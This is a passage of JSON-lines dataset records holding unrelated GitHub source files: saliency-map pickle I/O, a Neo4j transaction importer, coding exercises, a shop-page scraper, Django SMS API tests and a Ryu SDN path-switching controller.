`cnn.read_model`).\n    :param metadata_dict: Dictionary created by `check_metadata`.\n    :param sounding_pressure_matrix_pa: E-by-H numpy array of pressure\n        levels.  Needed only if the model is trained with soundings but without\n        pressure as a predictor.\n    \"\"\"\n\n    error_checking.assert_is_string(model_file_name)\n    error_checking.assert_is_string_list(full_storm_id_strings)\n    error_checking.assert_is_numpy_array(\n        numpy.array(full_storm_id_strings), num_dimensions=1\n    )\n\n    num_examples = len(full_storm_id_strings)\n    these_expected_dim = numpy.array([num_examples], dtype=int)\n\n    error_checking.assert_is_integer_numpy_array(storm_times_unix_sec)\n    error_checking.assert_is_numpy_array(\n        storm_times_unix_sec, exact_dimensions=these_expected_dim)\n\n    _check_in_and_out_matrices(\n        predictor_matrices=denorm_predictor_matrices, num_examples=num_examples,\n        saliency_matrices=saliency_matrices)\n\n    if sounding_pressure_matrix_pa is not None:\n        error_checking.assert_is_numpy_array_without_nan(\n            sounding_pressure_matrix_pa)\n        error_checking.assert_is_greater_numpy_array(\n            sounding_pressure_matrix_pa, 0.)\n        error_checking.assert_is_numpy_array(\n            sounding_pressure_matrix_pa, num_dimensions=2)\n\n        these_expected_dim = numpy.array(\n            (num_examples,) + sounding_pressure_matrix_pa.shape[1:],\n            dtype=int\n        )\n        error_checking.assert_is_numpy_array(\n            sounding_pressure_matrix_pa, exact_dimensions=these_expected_dim)\n\n    saliency_dict = {\n        PREDICTOR_MATRICES_KEY: denorm_predictor_matrices,\n        SALIENCY_MATRICES_KEY: saliency_matrices,\n        FULL_STORM_IDS_KEY: full_storm_id_strings,\n        STORM_TIMES_KEY: storm_times_unix_sec,\n        MODEL_FILE_KEY: model_file_name,\n        COMPONENT_TYPE_KEY: metadata_dict[COMPONENT_TYPE_KEY],\n        TARGET_CLASS_KEY: metadata_dict[TARGET_CLASS_KEY],\n        LAYER_NAME_KEY: metadata_dict[LAYER_NAME_KEY],\n        IDEAL_ACTIVATION_KEY: metadata_dict[IDEAL_ACTIVATION_KEY],\n        NEURON_INDICES_KEY: metadata_dict[NEURON_INDICES_KEY],\n        CHANNEL_INDEX_KEY: metadata_dict[CHANNEL_INDEX_KEY],\n        SOUNDING_PRESSURES_KEY: sounding_pressure_matrix_pa\n    }\n\n    file_system_utils.mkdir_recursive_if_necessary(file_name=pickle_file_name)\n    pickle_file_handle = open(pickle_file_name, 'wb')\n    pickle.dump(saliency_dict, pickle_file_handle)\n    pickle_file_handle.close()\n\n\ndef write_pmm_file(\n        pickle_file_name, mean_denorm_predictor_matrices,\n        mean_saliency_matrices, model_file_name, non_pmm_file_name,\n        pmm_max_percentile_level, mean_sounding_pressures_pa=None):\n    \"\"\"Writes composite saliency map to Pickle file.\n\n    The composite should be created by probability-matched means (PMM).\n\n    H = number of sounding heights\n\n    :param pickle_file_name: Path to output file.\n    :param mean_denorm_predictor_matrices: See doc for\n        `_check_in_and_out_matrices`.\n    :param mean_saliency_matrices: Same.\n    :param model_file_name: Path to model that created saliency maps (readable\n        by `cnn.read_model`).\n    :param non_pmm_file_name: Path to standard saliency file (containing\n        non-composited saliency maps).\n    :param pmm_max_percentile_level: Max percentile level for PMM.\n    :param mean_sounding_pressures_pa: length-H numpy array of PMM-composited\n        sounding pressures.  Needed only if the model is trained with soundings\n        but without pressure as a predictor.\n    \"\"\"\n\n    error_checking.assert_is_string(model_file_name)\n    error_checking.assert_is_string(non_pmm_file_name)\n    error_checking.assert_is_geq(pmm_max_percentile_level, 90.)\n    error_checking.assert_is_leq(pmm_max_percentile_level, 100.)\n\n    _check_in_and_out_matrices(\n        predictor_matrices=mean_denorm_predictor_matrices, num_examples=None,\n        saliency_matrices=mean_saliency_matrices)\n\n    if mean_sounding_pressures_pa is not None:\n        num_heights = mean_denorm_predictor_matrices[-1].shape[-2]\n        these_expected_dim = numpy.array([num_heights], dtype=int)\n\n        error_checking.assert_is_geq_numpy_array(mean_sounding_pressures_pa, 0.)\n        error_checking.assert_is_numpy_array(\n            mean_sounding_pressures_pa, exact_dimensions=these_expected_dim)\n\n    mean_saliency_dict = {\n        MEAN_PREDICTOR_MATRICES_KEY: mean_denorm_predictor_matrices,\n        MEAN_SALIENCY_MATRICES_KEY: mean_saliency_matrices,\n        MODEL_FILE_KEY: model_file_name,\n        NON_PMM_FILE_KEY: non_pmm_file_name,\n        PMM_MAX_PERCENTILE_KEY: pmm_max_percentile_level,\n        MEAN_SOUNDING_PRESSURES_KEY: mean_sounding_pressures_pa\n    }\n\n    file_system_utils.mkdir_recursive_if_necessary(file_name=pickle_file_name)\n    pickle_file_handle = open(pickle_file_name, 'wb')\n    pickle.dump(mean_saliency_dict, pickle_file_handle)\n    pickle_file_handle.close()\n\n\ndef read_file(pickle_file_name):\n    \"\"\"Reads composite or non-composite saliency maps from Pickle file.\n\n    :param pickle_file_name: Path to input file (created by\n        `write_standard_file` or `write_pmm_file`).\n    :return: saliency_dict: Has the following keys if not a composite...\n    saliency_dict['denorm_predictor_matrices']: See doc for\n        `write_standard_file`.\n    saliency_dict['saliency_matrices']: Same.\n    saliency_dict['full_storm_id_strings']: Same.\n    saliency_dict['storm_times_unix_sec']: Same.\n    saliency_dict['model_file_name']: Same.\n    saliency_dict['component_type_string']: Same.\n    saliency_dict['target_class']: Same.\n    saliency_dict['layer_name']: Same.\n    saliency_dict['ideal_activation']: Same.\n    saliency_dict['neuron_indices']: Same.\n    saliency_dict['channel_index']: Same.\n    saliency_dict['sounding_pressure_matrix_pa']: Same.\n\n    ...or the following keys if composite...\n\n    saliency_dict['mean_denorm_predictor_matrices']: See doc for\n        `write_pmm_file`.\n    saliency_dict['mean_saliency_matrices']: Same.\n    saliency_dict['model_file_name']: Same.\n    saliency_dict['non_pmm_file_name']: Same.\n    saliency_dict['pmm_max_percentile_level']: Same.\n    saliency_dict['mean_sounding_pressures_pa']: Same.\n\n    :return: pmm_flag: Boolean flag.  True if `saliency_dict` contains\n        composite, False otherwise.\n\n    :raises: ValueError: if dictionary does not contain expected keys.\n    \"\"\"\n\n    pickle_file_handle = open(pickle_file_name, 'rb')\n    saliency_dict = pickle.load(pickle_file_handle)\n    pickle_file_handle.close()\n\n    pmm_flag = MEAN_PREDICTOR_MATRICES_KEY in saliency_dict\n\n    if pmm_flag:\n        missing_keys = list(\n            set(PMM_FILE_KEYS) - set(saliency_dict.keys())\n        )\n    else:\n        missing_keys = list(\n            set(STANDARD_FILE_KEYS) - set(saliency_dict.keys())\n        )\n\n    if len(missing_keys) == 0:\n        return saliency_dict, pmm_flag\n\n    error_string = (\n        '\\n{0:s}\\nKeys listed above were expected, but not found, in file '\n        '\"{1:s}\".'\n    ).format(str(missing_keys), pickle_file_name)\n\n    raise ValueError(error_string)\n","repo_name":"thunderhoser/GewitterGefahr","sub_path":"gewittergefahr/deep_learning/saliency_maps.py","file_name":"saliency_maps.py","file_ext":"py","file_size_in_byte":22461,"program_lang":"python","lang":"en","doc_type":"code","stars":29,"dataset":"github-code","pt":"22"}
+{"seq_id":"21380706913","text":"import pandas as pd\nimport time\nimport threading\nfrom queue import Queue\nimport math\nimport os.path\nimport sys\n\nfrom util.graphdb_base import GraphDBBase\n\nnum_threads = 5\n\nclass CreditCardTransactionImporter(GraphDBBase):\n\n    def __init__(self, argv):\n        super().__init__(command=__file__, argv=argv)\n        self._transactions = Queue()\n        self._dictionaries = {}\n        self._print_lock = threading.Lock()\n        with self._driver.session() as session:\n            self.execute_without_exception(\"CREATE CONSTRAINT ON (s:Transaction) ASSERT s.transactionId IS UNIQUE\")\n            self.execute_without_exception(\"CREATE INDEX ON :Transaction(isFraud)\")\n\n    def import_transactions(self, directory):\n        j = 0\n        transactions = pd.read_csv(os.path.join(directory, \"creditcard.csv\"))\n        # Starting threads for parallel writing\n        for k in range(num_threads):\n            print(\"starting thread: \", k)\n            writing_thread = threading.Thread(target = self.write_transaction)\n            writing_thread.daemon = True\n            writing_thread.start()\n\n        for index, row in transactions.iterrows():\n            j += 1\n            transaction = {\n                'transactionId': j,\n                'isFraud': row['Class'],\n                'transactionDt': row['Time'],\n                'transactionAmt': row['Amount']}\n            vector = self.normalize(row, ['Time', 'Class'])\n            transaction['vector'] = vector\n            self._transactions.put(transaction)\n            # ADD ROW\n            if j % 10000 == 0:\n                print(j, \"lines processed\")\n        print(j, \"lines processed\")\n        self._transactions.join()\n        print(\"Done\")\n\n    def normalize(self, row, exludes):\n        vector = []\n        for item in list(row.items()):\n            if item[0] in exludes:\n                continue\n            if isinstance(item[1], str):\n                vocab = {}\n                if item[0] in self._dictionaries:\n                    vocab = self._dictionaries[item[0]]\n                else:\n                    self._dictionaries[item[0]] = vocab\n\n                if item[1] in vocab:\n                    vocab_index = vocab[item[1]]\n                else:\n                    vocab_index = len(vocab) + 1\n                    vocab[item[1]] = vocab_index\n                vector.append(float(vocab_index))\n                self._dictionaries[item[0]] = vocab\n            elif math.isnan(item[1]):\n                vector.append(float(0))\n            else:\n                vector.append(float(item[1]))\n        return vector\n\n    def write_transaction(self):\n        query = \"\"\"\n                    WITH $row as map\n                    CREATE (transaction:Transaction {transactionId: map.transactionId})\n                    SET transaction += map\n                \"\"\"\n        i = 0\n        while True:\n            row = self._transactions.get()\n            with self._driver.session() as session:\n                try:\n                    session.run(query, {\"row\": row})\n                    i += 1\n                    if i % 2000 == 0:\n                        with self._print_lock:\n                            print(i, \"lines processed on one thread\")\n                except Exception as e:\n                    print(e, row)\n            self._transactions.task_done()\n\n\nif __name__ == '__main__':\n    importer = CreditCardTransactionImporter(sys.argv[1:])\n\n    start = time.time()\n    base_path = importer.source_dataset_path\n    if not base_path:\n        base_path = \"../../../dataset/creditcard\"\n\n    importer.import_transactions(directory=base_path)\n    print(\"Time to complete paysim ingestion:\", time.time() - start)\n\n    # intermediate = time.time()\n    # importer.post_processing(sess_clicks=sessions)\n    # print(\"Time to complete post processing:\", time.time() - intermediate)\n\n    print(\"Time to complete end-to-end:\", time.time() - start)\n\n    importer.close()\n","repo_name":"alenegro81/gpml","sub_path":"ch09/import/creditcard/import_credit_card.py","file_name":"import_credit_card.py","file_ext":"py","file_size_in_byte":3931,"program_lang":"python","lang":"en","doc_type":"code","stars":63,"dataset":"github-code","pt":"22"}
+{"seq_id":"13967029166","text":"'''40. Foi feita uma estatística em cinco cidades brasileiras para coletar dados sobre acidentes de trânsito. Foram obtidos os\nseguintes dados:\na. Código da cidade;\nb. Número de veículos de passeio (em 1999);\nc. Número de acidentes de trânsito com vítimas (em 1999). Deseja-se saber:\nd. Qual o maior e menor índice de acidentes de transito e a que cidade pertence;\ne. Qual a média de veículos nas cinco cidades juntas;\nf. Qual a média de acidentes de trânsito nas cidades com menos de 2.000 veículos de passeio.'''\n\ndef estatistica_cidades():\n    cod = []\n    num_veic = []\n    num_acid = []\n\n    while len(cod) < 5:\n        cod.append(int(input('{}ª Cidade Codigo : '.format(len(cod)+1))))\n        num_veic.append(int(input('{}ª Cidade Numero de Veiculos: '.format(len(num_veic)+1))))\n        num_acid.append(int(input('{}ª Cidade Numero de Acidentes: '.format(len(num_acid)+1))))\n\n    index_trans_min, index_trans_max = num_veic.index(min(num_veic)),num_veic.index(max(num_veic))\n    media_veic = sum(num_veic) / len(num_veic)\n\n    cid_menor_2mil = []\n    for i in range(len(num_veic)):\n        qtde = num_veic[i]\n        if qtde < 2000:\n            cid_menor_2mil.append(qtde)\n\n    media_cid_menor_2mil = sum(cid_menor_2mil) / len(cid_menor_2mil)\n\n    print('\\nO Maior índice de Acidente de carro é: {} e O codigo da Cidade é: {}'.format(num_acid[index_trans_max],cod[index_trans_max]))\n    print('O Menor índice de Acidente de carro é: {} e O codigo da Cidade é: {}'.format(num_acid[index_trans_min],cod[index_trans_min]))\n    print('A media de Veiculos nas cinco cidade é: {}'.format(media_veic))\n    print('A Media de acidente de trasito nas cidades com Menos de 2mil habitantes é: {}'.format(media_cid_menor_2mil))\n    print('\\n')\nestatistica_cidades()\n\n\n    \n        ","repo_name":"Edspx/ExerciciosPythonBrasil","sub_path":"3EstruturaDeRepeticao/3_40.py","file_name":"3_40.py","file_ext":"py","file_size_in_byte":1800,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"28450225885","text":"import libRL\n\nfrom libRL.tools.f_peak import f_peak\nfrom libRL.tools.quarter_wave import power_fn, quarter_wave\n\nfrom .utils import Expectation\n\n\nclass TestFPeak:\n    def test_f_peak(self, al_tio2_fixture):\n        fn = f_peak(al_tio2_fixture.name, f_set=(1, 18, 0.1), d_set=(0, 5, 0.1))\n\n        actual = {str(i): fn(i) for i in range(1, 5)}\n        expected = Expectation(\"al_tio2_fpeak.json\")\n        for av, ev in zip(actual.values(), expected.read().values()):\n            assert av == ev\n\n    def test_quarter_wave(self, al_tio2_fixture):\n        fn = quarter_wave(al_tio2_fixture.name, f_set=(1, 18, 0.1),)\n        assert len(fn.f) == len(fn(1))\n\n    def test_power_fn(self, al_tio2_fixture):\n        fn = power_fn(al_tio2_fixture.name, f_set=(1, 18, 0.1), d_set=(0.1, 5, 0.1))\n        assert len(fn.d) == len(fn(1))\n","repo_name":"1mikegrn/libRL","sub_path":"test/test_misc.py","file_name":"test_misc.py","file_ext":"py","file_size_in_byte":824,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"22"}
+{"seq_id":"35234841575","text":"\"\"\"Solution for day 6, part 1 puzzle on adventofcode.com\"\"\"\n\nwith open(file='input.txt',mode='rt',encoding='utf-8') as file:\n    l = file.read().split('\\n\\n')\n    customs_list = []\n    for item in l:\n        customs_list.append(item.replace('\\n',''))\n    complete_set = []\n    for item in customs_list:\n        response_set = set()\n        for response in item:\n            response_set.add(response)\n        complete_set.append(response_set)\n\ndef calculate_responses(input):\n    total = 0\n    for i in input:\n        total += len(i)\n    return total\n\nprint(calculate_responses(complete_set))","repo_name":"kenkitts/advent_of_code","sub_path":"day6/d6p1.py","file_name":"d6p1.py","file_ext":"py","file_size_in_byte":592,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"14115597953","text":"from typing import List\n\n\nclass Solution:\n    def searchInsert(self, nums: List[int], target: int) -> int:\n        lo, hi = 0, len(nums)\n        while lo != hi:\n            mid = (lo + hi) // 2\n            if target <= nums[mid]:\n                hi = mid\n            else:\n                lo = mid + 1\n        return lo\n\n\nif __name__ == '__main__':\n    solution = Solution()\n    nums = [1, 3, 5, 6]\n    target = 5\n    result = solution.searchInsert(nums, target)\n    print(result)\n","repo_name":"AntonBelski/leetcode_puzzles","sub_path":"0035_search_insert_position.py","file_name":"0035_search_insert_position.py","file_ext":"py","file_size_in_byte":481,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"38307356892","text":"# -*- coding: utf-8 -*-\nimport time\n#使用时间套件\nfrom bs4 import BeautifulSoup\n#使用BeauitfulSoup\n\nnow_data = time.strftime(\"%Y/%m/%d\")\nnow_time = time.strftime(\"%H:%M:%S\")\nnow = now_data + ' ' + now_time\n#取出今天日期、时间，并整成变数now\n\nurl0 = 'https://www.momoshop.com.tw/goods/GoodsDetail.jsp?i_code=4999052&str_category_code=2001000056&mdiv=2001000056&Area=DgrpCategory'\n\n\nfrom selenium import webdriver\n\ndriver = webdriver.PhantomJS(executable_path=r'C:\\Users\\IMITA-PC-13\\Desktop\\phantomjs-2.1.1-windows\\bin\\phantomjs')  # PhantomJs\ndriver.get(url0)  # 输入网址，交给浏览器 \npageSource = driver.page_source  # 取得网页源代码\n#print(pageSource)\n\nsoup = BeautifulSoup(pageSource,\"lxml\")\n#将资料用lxml装起来放置到soup\n\ndriver.quit()  # 关闭浏览器\n\n#以下是取出需要的资料------------------以下是第二阶段\nimages = 'img.jqzoom'\n#介绍图片\ntitle = 'div.prdnoteArea h1'\n#标题 *div.class名称为product_introduction 里面的h3\nsintro = 'ul#categoryActivityInfo' \n#小介绍\noriginal_price = 'ul.prdPrice del'\n#原价\nspecial_price = 'li.special'\n#促销价格\nintro = 'iframe#ifrmGoods'\n#主介绍\nspecification = 'div.attributesArea table'\n#规格\n\n#资料转换区\nimages0 = soup.select(images)\ntitle0 = soup.select(title)\nsintro0 = soup.select(sintro)\noriginal_price0 = soup.select(original_price)\nspecial_price0 = soup.select(special_price)\nintro0 = soup.select(intro)\nspecification0 = soup.select(specification)\n\nprint('标题：' , images0)#资料已经干净\nprint('标题：' , title0[0].text)#资料已经干净\nprint('小介绍：' , sintro0[0].text)#仍有问题\nprint('原价：' , original_price0[0].text)#资料已经干净\nprint('特价：' , special_price[0].text.rstrip().strip())#抓取到了\nprint('主介绍：' , intro0)#有点问题*******************\nprint('规格：' , specification0[0])#呈现源代码\n\nprint('资料抓取日期：' + now)","repo_name":"ts00189145/python","sub_path":"[等待加入for迴圈]單一頁面抓取/momoshop.py","file_name":"momoshop.py","file_ext":"py","file_size_in_byte":1944,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"12188804668","text":"from unittest.mock import patch\nfrom rest_framework import status\nfrom rest_framework.test import force_authenticate\n\nfrom .base_tests import BaseTest\nfrom api.sms import views, models\nfrom . import dummy_data\n\n\nclass SMSRequestViewsTest(BaseTest):\n    \"\"\"Test SMS request creation list and deletion\"\"\"\n    @patch(\"api.sms.serializers.send_sms\")\n    def test_sms_request_creation_succeeds(self, _):\n        \"\"\"Test that sms creation with correct data will be successful\"\"\"\n        request = self.request_factory.post(self.create_list_sms_url, dummy_data.valid_sms_data)\n        force_authenticate(request, self.user)\n        response = views.SMSRequestView.as_view()(request)\n        self.assertEqual(response.status_code, status.HTTP_201_CREATED)\n    \n    def test_create_sms_request_fails_with_no_group_or_recepients_fails(self):\n        \"\"\"Test that sms creation without group or receipient will fail\"\"\"\n        request = self.request_factory.post(self.create_list_sms_url, dummy_data.data_without_recepient_or_group)\n        force_authenticate(request, self.user)\n        response = views.SMSRequestView.as_view()(request)\n        self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)\n        self.assertEqual(response.data['detail'], \"A receipient group id or a recepient contact list must be provided\")\n\n    @patch(\"api.sms.serializers.send_sms\")\n    def test_create_sms_request_with_both_group_or_recepients_succeeds(self, _):\n        \"\"\"Test that sms creation with both group or receipient will succeed\"\"\"\n        dummy_data.data_with_both_recepient_or_group[\"groups\"] = [self.group_id]\n        request = self.request_factory.post(self.create_list_sms_url, dummy_data.data_with_both_recepient_or_group)\n        force_authenticate(request, self.user)\n        instance = models.GroupMember(phone=self.user.phone, company=self.user.company)\n        instance.save()\n        self.group_instance.members.add(instance)\n        self.group_instance.save()\n        response = views.SMSRequestView.as_view()(request)\n        self.assertEqual(response.status_code, status.HTTP_201_CREATED)\n\n    @patch(\"api.sms.serializers.send_sms\")\n    def test_get_sms_requests_succeeds(self, _):\n        \"\"\"Test that get created sms succeed\"\"\"\n        request = self.request_factory.post(self.create_list_sms_url, dummy_data.valid_sms_data)\n        get_request = self.request_factory.get(self.create_list_sms_url)\n        force_authenticate(request, self.user)\n        force_authenticate(get_request, self.user)\n        views.SMSRequestView.as_view()(request)\n        response = views.SMSRequestView.as_view()(get_request)\n        self.assertEqual(response.status_code, status.HTTP_200_OK)\n        self.assertEqual((response.data)['results'][0][\"message\"], dummy_data.valid_sms_data[\"message\"])\n\n    @patch(\"api.sms.serializers.send_sms\")\n    def test_delete_sms_requests_valid_data_succeeds(self, _):\n        \"\"\"Test that delete created sms succeed\"\"\"\n        instance = models.SMSRequest(company=self.user.company, recepients=[\"+254726406733\"], message=\"Come\")\n        instance.save()\n        id = instance.pk\n        delete_request = self.request_factory.delete(self.create_list_sms_url, {\"message_requests\": [id]})\n        force_authenticate(delete_request, self.user)\n        response = views.SMSRequestView.as_view()(delete_request)\n        self.assertEqual(response.status_code, status.HTTP_204_NO_CONTENT)\n\n    def test_delete_sms_requests_non_existent_id_fails(self):\n        \"\"\"Test that delete sms requests  with non-existent id fails\"\"\"\n        delete_request = self.request_factory.delete(self.create_list_sms_url, {\n                            \"message_requests\": [100]\n                        })\n        force_authenticate(delete_request, self.user)\n        response = views.SMSRequestView.as_view()(delete_request)\n        self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)\n        self.assertEqual(response.data[\"message_requests\"][0], ['Invalid pk \"100\" - object does not exist.'])\n\n    def test_create_brand_name_succeeds(self):\n        \"\"\"Test that brand name is created with correct data\"\"\"\n        request = self.request_factory.post(self.create_list_sms_url, {\n                            \"name\": \"Branded\"\n                        })\n            \n        force_authenticate(request, self.user)\n        response = views.CreateBrandName.as_view()(request)\n        self.assertEqual(response.status_code, status.HTTP_201_CREATED)\n\n    def test_list_brand_names_succeeds(self):\n        \"\"\"Test list brand name request \"\"\"\n        request = self.request_factory.get(self.create_list_sms_url)\n        self.user.is_superuser = True\n        self.user.save()\n        instance = models.SMSBranding.objects.create(name=\"create\", company=self.user.company)\n        force_authenticate(request, self.user)\n        response = views.ListBrandNameRequests.as_view()(request)\n        self.assertEqual(response.status_code, status.HTTP_200_OK)\n        self.assertEqual(response.data[\"results\"][0][\"id\"], instance.pk)\n\n    def test_edit_brand_names_succeeds(self):\n        \"\"\"Test edit brand name request\"\"\"\n        request = self.request_factory.patch(self.create_list_sms_url, {\"is_approved\": True})\n        self.user.is_superuser = True\n        self.user.save()\n        instance = models.SMSBranding.objects.create(name=\"create\", company=self.user.company)\n        force_authenticate(request, self.user)\n        response = views.EditBrandNameRequests.as_view()(request, pk=instance.pk)\n        self.assertEqual(response.status_code, status.HTTP_200_OK)\n        self.assertEqual(response.data[\"is_approved\"], True)\n","repo_name":"ElMonstro/SMSPlatform","sub_path":"tests/api/sms/test_sms_views.py","file_name":"test_sms_views.py","file_ext":"py","file_size_in_byte":5633,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"18431845523","text":"from ryu.base import app_manager\nfrom ryu.controller import ofp_event\nfrom ryu.controller.handler import CONFIG_DISPATCHER, MAIN_DISPATCHER, DEAD_DISPATCHER\nfrom ryu.controller.handler import set_ev_cls\nfrom ryu.ofproto import ofproto_v1_3\nfrom ryu.lib.packet import packet\nfrom ryu.lib.packet import ethernet\nfrom ryu.lib.packet import ether_types\nfrom ryu.lib.packet import ipv4\nfrom ryu.lib.packet import tcp\nfrom ryu.lib.packet import icmp\nfrom ryu import cfg\nfrom ryu.lib import hub\nimport time\n\nclass SimpleSwitch13(app_manager.RyuApp):\n    OFP_VERSIONS = [ofproto_v1_3.OFP_VERSION]\n\n    def __init__(self, *args, **kwargs):\n        super(SimpleSwitch13, self).__init__(*args, **kwargs)\n        self.mac_to_port = {}\n        self.ingress_icmp_rule_installed = False\n        self.datapaths = {}\n        self.flow_datapaths ={}\n        self.monitor_thread = hub.spawn(self._monitor)\n        self.prev_sec=0\n        self.prev_nsec = 0\n        self.prev_bytes = 0\n        self.traffic_bw = 0\n        self.installed_flows={}\n        self.am_deleting=0\n\n        CONF = cfg.CONF\n        CONF.register_opts([\n            cfg.IntOpt('bandwidth', default=500000, help = ('Bandwidth threshold'))])\n\n        self.thbandwidth = CONF.bandwidth\n        self.selected_path = 1\n        print('bandwidth = {}'.format(CONF.bandwidth))\n\n    def _monitor(self):\n        while True:\n            for dp in self.datapaths.values():\n                self._request_stats(dp)\n            hub.sleep(1)\n\n    def _request_stats(self, datapath):\n        print('send stats request: {}'.format(datapath.id) )\n        ofproto = datapath.ofproto\n        parser = datapath.ofproto_parser\n\n        req = parser.OFPFlowStatsRequest(datapath)\n        datapath.send_msg(req)\n\n        #req = parser.OFPPortStatsRequest(datapath, 0, ofproto.OFPP_ANY)\n        #datapath.send_msg(req)\n\n    @set_ev_cls(ofp_event.EventOFPFlowStatsReply, MAIN_DISPATCHER)\n    def _flow_stats_reply_handler(self, ev):\n        body = ev.msg.body\n\n        \n        self.logger.info('datapath         '\n                         'in-port            '\n                         'out-port packets  bytes    sec       bw    nsec')\n        self.logger.info('---------------- '\n                         '-------- '\n                         '-------- -------- -------- -------- -------- -----------')\n\n        \n        \n        for stat in sorted([flow for flow in body if flow.priority == 1],\n                           key=lambda flow: (flow.match['in_port'])):\n\n            self.logger.info('%016x %17s %8x %8d %8d %8d %8d %d',\n                             ev.msg.datapath.id,\n                             stat.match['in_port'], \n                             stat.instructions[0].actions[0].port,\n                             stat.packet_count, stat.byte_count, stat.duration_sec, 0, stat.duration_nsec)\n\n            bw=0\n            if self.prev_bytes==0:\n                self.prev_bytes=stat.byte_count\n                self.prev_sec=stat.duration_sec\n                self.prev_nsec=stat.duration_nsec\n            elif stat.byte_count==self.prev_bytes:\n                self.traffic_bw=0\n            elif stat.byte_count>self.prev_bytes:\n                interval_sec=(stat.duration_sec-self.prev_sec)+(stat.duration_nsec-self.prev_nsec)/1e9\n                if interval_sec>0:\n                    bw=(stat.byte_count-self.prev_bytes)*8.0/interval_sec\n                    bwkb=bw/1000\n                    path=1\n                    if bwkb>self.thbandwidth:\n                        path=2\n\n                    print(\"bwkb={}, th={}, path={}, selected={}\".format(bwkb, self.thbandwidth, path, self.selected_path))\n\n                    if path!=self.selected_path:\n                        print(\"---------------PATH TO BE UPDATED-----------\")\n                        self.selected_path=path\n                        self.am_deleting=1\n                        self.clear_flows()\n                        self.am_deleting=0\n                        self.mac_to_port = {}\n                        self.update_flows()\n                        \n                    if bw>self.traffic_bw:\n                        self.traffic_bw=bw\n                #print(\"byte, prev_byte={}, {}\".format(stat.byte_count,self.prev_bytes))\n                self.prev_bytes=stat.byte_count\n                self.prev_sec=stat.duration_sec\n                self.prev_nsec=stat.duration_nsec\n            \n            \n            \n\n    def update_flows(self):\n        for dp in self.installed_flows:\n            datapath=self.installed_flows[dp]\n            if self.selected_path==1:\n                if dp in [2,3]:\n                    self.add_flow_p(datapath, 1, 1, 2)\n                    self.add_flow_p(datapath, 1, 2, 1)\n                    \n                elif datapath.id in [1,6]:\n                    self.add_flow_p(datapath, 1, 1, 3)\n                    self.add_flow_p(datapath, 1, 3, 1)\n                    \n            elif self.selected_path==2:\n                if dp in [4,5]:\n                    self.add_flow_p(datapath, 1, 1, 2)\n                    self.add_flow_p(datapath, 1, 2, 1)\n                    \n                elif datapath.id in [1,6]:\n                    self.add_flow_p(datapath, 1, 2, 3)\n                    self.add_flow_p(datapath, 1, 3, 2)\n                    \n\n            #self.add_flow_p(self.installed_flows[dp], 1, self.selected_path, 3)\n            #self.add_flow_p(self.installed_flows[dp], 1, 3, self.selected_path)\n\n    @set_ev_cls(ofp_event.EventOFPStateChange,\n                [MAIN_DISPATCHER, DEAD_DISPATCHER])\n    def _state_change_handler(self, ev):\n        datapath = ev.datapath\n        self.installed_flows[datapath.id]=datapath\n        print(\"state_change_handler: datapath={}\".format(datapath.id))\n        if ev.state == MAIN_DISPATCHER:\n            if datapath.id not in self.datapaths:\n                self.logger.debug('register datapath: %016x', datapath.id)\n                \n                if datapath.id in [2,3]:\n                    self.add_flow_p(datapath, 1, 1, 2)\n                    self.add_flow_p(datapath, 1, 2, 1)\n                    \n                elif datapath.id in [1,6]:\n                    self.add_flow_p(datapath, 1, 1, 3)\n                    self.add_flow_p(datapath, 1, 3, 1)\n                \n                if datapath.id==1:\n                    self.datapaths[datapath.id] = datapath\n        elif ev.state == DEAD_DISPATCHER:\n            if datapath.id in self.datapaths:\n                self.logger.debug('unregister datapath: %016x', datapath.id)\n                del self.datapaths[datapath.id]\n    \n    @set_ev_cls(ofp_event.EventOFPSwitchFeatures, CONFIG_DISPATCHER)\n    def switch_features_handler(self, ev):\n        datapath = ev.msg.datapath\n        ofproto = datapath.ofproto\n        parser = datapath.ofproto_parser\n\n        print(\"feature_handler: datapath={}\".format(datapath))\n\n        # install table-miss flow entry\n        #\n        # We specify NO BUFFER to max_len of the output action due to\n        # OVS bug. At this moment, if we specify a lesser number, e.g.,\n        # 128, OVS will send Packet-In with invalid buffer_id and\n        # truncated packet data. In that case, we cannot output packets\n        # correctly.  The bug has been fixed in OVS v2.1.0.\n        match = parser.OFPMatch()\n        actions = [parser.OFPActionOutput(ofproto.OFPP_CONTROLLER,\n                                          ofproto.OFPCML_NO_BUFFER)]\n        self.add_flow(datapath, 0, match, actions)\n\n    @set_ev_cls(ofp_event.EventOFPFlowRemoved, MAIN_DISPATCHER)\n    def flow_removed_handler(self, ev):\n        msg = ev.msg\n        dp = msg.datapath\n        ofp = dp.ofproto\n\n        if msg.reason == ofp.OFPRR_IDLE_TIMEOUT:\n            reason = 'IDLE TIMEOUT'\n        elif msg.reason == ofp.OFPRR_HARD_TIMEOUT:\n            reason = 'HARD TIMEOUT'\n        elif msg.reason == ofp.OFPRR_DELETE:\n            reason = 'DELETE'\n        elif msg.reason == ofp.OFPRR_GROUP_DELETE:\n            reason = 'GROUP DELETE'\n        else:\n            reason = 'unknown'\n\n        #print(\"\\n\\n===FLOW REMOVED===\\n\\n\")\n        if dp.id==1:\n            self.prev_sec=0\n            self.prev_nsec = 0\n            self.prev_bytes = 0\n            self.traffic_bw = 0\n        '''\n        self.logger.info('OFPFlowRemoved received: '\n                        'cookie=%d priority=%d reason=%s table_id=%d '\n                        'duration_sec=%d duration_nsec=%d '\n                        'idle_timeout=%d hard_timeout=%d '\n                        'packet_count=%d byte_count=%d match.fields=%s',\n                        msg.cookie, msg.priority, reason, msg.table_id,\n                        msg.duration_sec, msg.duration_nsec,\n                        msg.idle_timeout, msg.hard_timeout,\n                        msg.packet_count, msg.byte_count, msg.match)\n        '''\n    \n    def del_flow(self, datapath):\n        print(\"Deleting flow for S{}\".format(datapath.id))\n        ofproto = datapath.ofproto\n        parser = datapath.ofproto_parser\n\n        match = parser.OFPMatch(in_port=1, eth_src=1, 